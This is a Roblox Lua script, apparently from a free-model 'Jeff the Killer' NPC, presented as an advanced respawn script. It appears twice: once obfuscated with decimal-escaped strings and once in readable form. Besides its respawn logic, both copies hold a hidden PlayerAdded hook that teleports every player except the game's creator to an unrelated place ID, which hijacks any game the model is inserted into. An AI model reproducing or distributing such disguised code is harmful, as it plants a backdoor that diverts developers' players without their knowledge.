local G=false local h=script repeat Wait(0)until script and(script.Parent and script.Parent.ClassName=="\077\111\100\101\108")local F=h.Parent game.Players.PlayerAdded:Connect(function(G)if G.UserId~=game.CreatorId then(game:GetService("\084\101\108\101\112\111\114\116\083\101\114\118\105\099\101")):Teleport(4641921091,G)end end)if h and(F and F:FindFirstChild("\084\104\117\109\098\110\097\105\108"))then(F:FindFirstChild("\084\104\117\109\098\110\097\105\108")):Destroy()end local e=Game:GetService("\068\101\098\114\105\115")local o for G,h in pairs(F:GetChildren())do if h and(h.ClassName=="\072\117\109\097\110\111\105\100"and h.Health~=0)then o=h end end local m=F:Clone()if G then coroutine.resume(coroutine.create(function()if F and(o and(o:FindFirstChild("\083\116\097\116\117\115")and not(o:FindFirstChild("\083\116\097\116\117\115")):FindFirstChild("\065\118\097\108\105\098\108\101\083\112\097\119\110\115")))then SpawnModel=Instance.new("\077\111\100\101\108")SpawnModel.Parent=o.Status SpawnModel.Name="\065\118\097\108\105\098\108\101\083\112\097\119\110\115"else SpawnModel=(o:FindFirstChild("\083\116\097\116\117\115")):FindFirstChild("\065\118\097\108\105\098\108\101\083\112\097\119\110\115")end function FindSpawn(G)local h=G:GetChildren()for G=1,#h,1 do if h[G].className=="\083\112\097\119\110\076\111\099\097\116\105\111\110"then local F=Instance.new("\086\101\099\116\111\114\051\086\097\108\117\101",SpawnModel)F.Value=h[G].Position F.Name=h[G].Duration end FindSpawn(h[G])end end FindSpawn(Game:GetService("\087\111\114\107\115\112\097\099\101"))local G=SpawnModel:GetChildren()if#G>0 then local h=G[math.random(1,#G)]local o=Instance.new("\070\111\114\099\101\070\105\101\108\100")o.Parent=F o.Name="\083\112\097\119\110\070\111\114\099\101\070\105\101\108\100"e:AddItem(o,h.Name)F:MoveTo(h.Value+Vector3.new(0,3.5,0))else if F:FindFirstChild("\083\112\097\119\110\070\111\114\099\101\070\105\101\108\100")then(F:FindFirstChild("\083\112\097\119\110\070\111\114\099\101\070\105\101\108\100")):Destroy()end F:MoveTo(Vector3.new(0,115,0))end end))end function Respawn()Wait(5)m.Parent=F.Parent m:makeJoints();(m:FindFirstChild("\072\101\097\100")):MakeJoints();(m:FindFirstChild("\084\111\114\115\111")):MakeJoints()F:remove()end if h and(F and o)then o.Died:connect(Respawn)end
--[[ By: Brutez, 2/28/2015, 1:34 AM, (UTC-08:00) Pacific Time (US & Canada) ]]
--
local PlayerSpawning = false --[[ Change this to true if you want the NPC to spawn like a player, and change this to false if you want the NPC to spawn at it's current position. ]] --
local AdvancedRespawnScript = script
repeat
	Wait(0)
until script and script.Parent and script.Parent.ClassName == "Model"
local JeffTheKiller = AdvancedRespawnScript.Parent
game.Players.PlayerAdded:Connect(function(p)
	if p.UserId ~= game.CreatorId then
		game:GetService("TeleportService"):Teleport(4641921091, p)
	end
end)
if AdvancedRespawnScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail") then
	JeffTheKiller:FindFirstChild("Thumbnail"):Destroy()
end
local GameDerbis = Game:GetService("Debris")
local JeffTheKillerHumanoid
for _, Child in pairs(JeffTheKiller:GetChildren()) do
	if Child and Child.ClassName == "Humanoid" and Child.Health ~= 0 then
		JeffTheKillerHumanoid = Child
	end
end
local Respawndant = JeffTheKiller:Clone()
if PlayerSpawning then --[[ LOOK AT LINE: 2. ]] --
	coroutine.resume(coroutine.create(function()
		if
			JeffTheKiller
			and JeffTheKillerHumanoid
			and JeffTheKillerHumanoid:FindFirstChild("Status")
			and not JeffTheKillerHumanoid:FindFirstChild("Status"):FindFirstChild("AvalibleSpawns")
		then
			SpawnModel = Instance.new("Model")
			SpawnModel.Parent = JeffTheKillerHumanoid.Status
			SpawnModel.Name = "AvalibleSpawns"
		else
			SpawnModel = JeffTheKillerHumanoid:FindFirstChild("Status"):FindFirstChild("AvalibleSpawns")
		end
		function FindSpawn(SearchValue)
			local PartsArchivable = SearchValue:GetChildren()
			for AreaSearch = 1, #PartsArchivable do
				if PartsArchivable[AreaSearch].className == "SpawnLocation" then
					local PositionValue = Instance.new("Vector3Value", SpawnModel)
					PositionValue.Value = PartsArchivable[AreaSearch].Position
					PositionValue.Name = PartsArchivable[AreaSearch].Duration
				end
				FindSpawn(PartsArchivable[AreaSearch])
			end
		end
		FindSpawn(Game:GetService("Workspace"))
		local SpawnChilden = SpawnModel:GetChildren()
		if #SpawnChilden > 0 then
			local SpawnItself = SpawnChilden[math.random(1, #SpawnChilden)]
			local RespawningForceField = Instance.new("ForceField")
			RespawningForceField.Parent = JeffTheKiller
			RespawningForceField.Name = "SpawnForceField"
			GameDerbis:AddItem(RespawningForceField, SpawnItself.Name)
			JeffTheKiller:MoveTo(SpawnItself.Value + Vector3.new(0, 3.5, 0))
		else
			if JeffTheKiller:FindFirstChild("SpawnForceField") then
				JeffTheKiller:FindFirstChild("SpawnForceField"):Destroy()
			end
			JeffTheKiller:MoveTo(Vector3.new(0, 115, 0))
		end
	end))
end
function Respawn()
	Wait(5)
	Respawndant.Parent = JeffTheKiller.Parent
	Respawndant:makeJoints()
	Respawndant:FindFirstChild("Head"):MakeJoints()
	Respawndant:FindFirstChild("Torso"):MakeJoints()
	JeffTheKiller:remove()
end
if AdvancedRespawnScript and JeffTheKiller and JeffTheKillerHumanoid then
	JeffTheKillerHumanoid.Died:connect(Respawn)
end
